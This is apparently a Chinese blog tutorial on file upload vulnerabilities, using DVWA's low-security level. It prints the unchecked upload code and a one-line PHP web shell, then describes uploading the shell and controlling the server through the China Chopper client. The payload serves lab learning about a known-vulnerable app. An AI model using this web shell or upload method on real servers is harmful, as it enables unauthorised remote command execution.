1、什么是文件上传

  文件上传前端通过post方式以文件流方式将文件通过后端接口上传至网站指定目录之下。通常使用的方式为:

<input type="file" name="upload">

2、什么是文件上传漏洞

  文件上传漏洞指用户上传了一段可执行的脚本文件,并且此脚本获取了服务端执行命令的能力。从而产生危害。

  文件上传本身其实没有问题,有问题的是文件上传至服务器后,服务器怎么处理、解释所上传的文件。如果服务器处理逻辑不够安全,极有可能产生严重后果。

3、以下是针对于DVWA-中给出的文件上传漏洞-学习过程

  首先文件上传漏洞本质是上传一个具有危险操作的脚本,且具有服务端执行命令的能力。

  以下实战过程中需要了解的:

级别-low

 View Source

<?php
    if (isset($_POST['Upload'])) {
            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename( $_FILES['uploaded']['name']);

            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';
                
              } else {
            
                echo '<pre>';
                echo $target_path . ' succesfully uploaded!';
                echo '</pre>';
                
            }

        }
?>

  从以上代码中可以看出并没有对文件上传做出什么处理,通过move_uploaded_file函数将上传文件后将上传到dvwa根目录下的hackable/uploads/文件夹之中。

  那么我们可以直接上传带有危害性的代码(一句话木马)<?php eval($_GET['juran'])>的文件。

实操步骤
  • 创建文件且包含一句话木马。

    文件名:**.php
        内容:<?php eval($_POST['juran']); ?>

image-20230402210246810

根据上传路径我们可以判断出我们上传文件的位置为http://{ip}/dvwa/hackable/uploads/juran.php

  • 使用中国菜刀执行访问文件并执行一句话木马。

image-20230402211245020

最后一个输入框中是我们一句话木马中对应的参数名,最终我们通过中国菜刀,直接访问到网站的目录之下。

image-20230402211522503

最后修改:2023 年 04 月 05 日
如果觉得我的文章对你有用,请随意赞赏